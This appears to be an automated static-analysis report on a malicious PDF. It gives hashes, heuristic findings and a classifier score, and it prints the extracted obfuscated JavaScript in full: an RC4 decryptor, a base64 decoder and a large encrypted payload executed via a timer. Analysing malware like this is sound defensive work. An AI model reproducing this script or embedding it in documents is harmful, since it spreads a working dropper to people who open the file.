Malicious PDF — malware analysis report

Static analysis result for SHA-256 cf906ff68f5cf82b…

MALICIOUS

PDF

5.1 KB Created: 2009-02-13 04:13:07 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2026-05-09
MD5: bf5aa7c9befa16244a629072e30fb2b3 SHA-1: f39df68566ff8679808e5c4454cbcb2c11530288 SHA-256: cf906ff68f5cf82bb68d4b28fb5602616d3acd9a389c8befdc8b743dac335832
134 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged by an ML classifier with high confidence and contains embedded JavaScript. The JavaScript stream is obfuscated, and the heuristic firings indicate the use of String.fromCharCode, suggesting an attempt to hide malicious code. The primary intent appears to be the execution of this obfuscated script, likely to download and run a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function linodi2(likunala4,lenonine){var banorali8=[],sepat,rarikiv=0,dukumokafo,deloba='',kevarir;for(sepat=0;sepat<256;sepat++){banorali8[sepat]=sepat;}for(sepat=0;sepat<256;sepat++){rarikiv=(rarikiv+banorali8[sepat]+likunala4.charCodeAt(sepat%likunala4.length))%256;dukumokafo=banorali8[sepat];banorali8[sepat]=banorali8[rarikiv];banorali8[rarikiv]=dukumokafo;}sepat=0;rarikiv=0;for(kevarir=0;kevarir<lenonine.length;kevarir++){sepat=(sepat+1)%256;rarikiv=(rarikiv+banorali8[sepat])%256;dukumokafo …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js pdf-javascript-stream PDF /JS object 13 at offset 0x3CE 5379 bytes
SHA-256: ef6a21240559122a73af767a4fcdcf27e049d7b4e7941df69e097ffb7a14e146
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 71 of 114 identifiers look randomly generated (e.g. 'bXUloNIKf3hO8jEIZfxIh12a5pyXxair53AAxftD') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function linodi2(likunala4,lenonine){var banorali8=[],sepat,rarikiv=0,dukumokafo,deloba='',kevarir;for(sepat=0;sepat<256;sepat++){banorali8[sepat]=sepat;}for(sepat=0;sepat<256;sepat++){rarikiv=(rarikiv+banorali8[sepat]+likunala4.charCodeAt(sepat%likunala4.length))%256;dukumokafo=banorali8[sepat];banorali8[sepat]=banorali8[rarikiv];banorali8[rarikiv]=dukumokafo;}sepat=0;rarikiv=0;for(kevarir=0;kevarir<lenonine.length;kevarir++){sepat=(sepat+1)%256;rarikiv=(rarikiv+banorali8[sepat])%256;dukumokafo=banorali8[sepat];banorali8[sepat]=banorali8[rarikiv];banorali8[rarikiv]=dukumokafo;deloba+=String.fromCharCode(lenonine.charCodeAt(kevarir)^banorali8[(banorali8[sepat]+banorali8[rarikiv])%256]);}return deloba;}var dumorofak=app.setTimeOut(linodi2(kapemufev("dDFKMXcyWm1KWmVaNmg5eDFVdTh3VzdkTQ=="),kapemufev("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")),200);function kapemufev(makabu){makabu=makabu.replace(/[^a-z0-9\+\/=]/ig,'');var diminuvedi5='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',moludimulo,romuvumo3,sakumodo,ruluk,vivusatav,lubof,kipolelumo,lafubos=[],lisabo,lisabo=0;while((makabu.length%4)!=0){makabu+='=';}for(nuleroro1=0;nuleroro1<makabu.length;nuleroro1+=4){ruluk=diminuvedi5.indexOf(makabu.charAt(nuleroro1));vivusatav=diminuvedi5.indexOf(makabu.charAt(nuleroro1+1));lubof=diminuvedi5.indexOf(makabu.charAt(nuleroro1+2));kipolelumo=diminuvedi5.indexOf(makabu.charAt(nuleroro1+3));moludimulo=(ruluk<<2)|(vivusatav>>4);romuvumo3=((vivusatav&15)<<4)|(lubof>>2);sakumodo=((lubof&3)<<6)|kipolelumo;lafubos[lisabo++]=String.fromCharCode(moludimulo);if(lubof!=64)lafubos[lisabo++]=String.fromCharCode(romuvumo3);if(kipolelumo!=64)lafubos[lisabo++]=String.fromCharCode(sakumodo);}return lafubos.join('');}

Open this report in the interactive analyzer, or submit your own file for analysis.